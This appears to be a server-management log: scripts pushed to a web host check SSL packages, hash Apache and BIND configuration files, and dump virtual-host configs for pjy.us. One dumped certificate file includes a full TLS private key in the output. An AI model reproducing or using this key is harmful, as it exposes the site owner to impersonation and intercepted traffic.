bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-12-31 19:50:54: 

PUT: /tmp/pkp780567

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-31 19:50:54: 

chmod 755 /tmp/pkp780567; /tmp/pkp780567; rm /tmp/pkp780567

2025-12-31 19:50:54: 


status=ok


2025-12-31 19:50:54: 

PUT: /tmp/pkp728432

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:50:55: 

chmod 755 /tmp/pkp728432; /tmp/pkp728432; rm /tmp/pkp728432

2025-12-31 19:50:55: 
2025-12-31 19:50:55: 

PUT: /tmp/pkp465289

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')
    show_file('/etc/apache2/sites-available/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:50:55: 

chmod 755 /tmp/pkp465289; /tmp/pkp465289; rm /tmp/pkp465289

2025-12-31 19:50:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1252

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5344
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf	1148

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b9ce2481167e0c8ff8043a7d3d00b4f5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= ce1f6e17f522b8249fe9f88a5fba801d
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 857ed811123186988820094a2835f368
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= ce1f6e17f522b8249fe9f88a5fba801d
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp728432:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-31 19:52:29: Establishing a connection
2025-12-31 19:52:29: 

PUT: /tmp/pkp233177

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:52:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp233177; rm /tmp/pkp233177'

2025-12-31 19:52:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
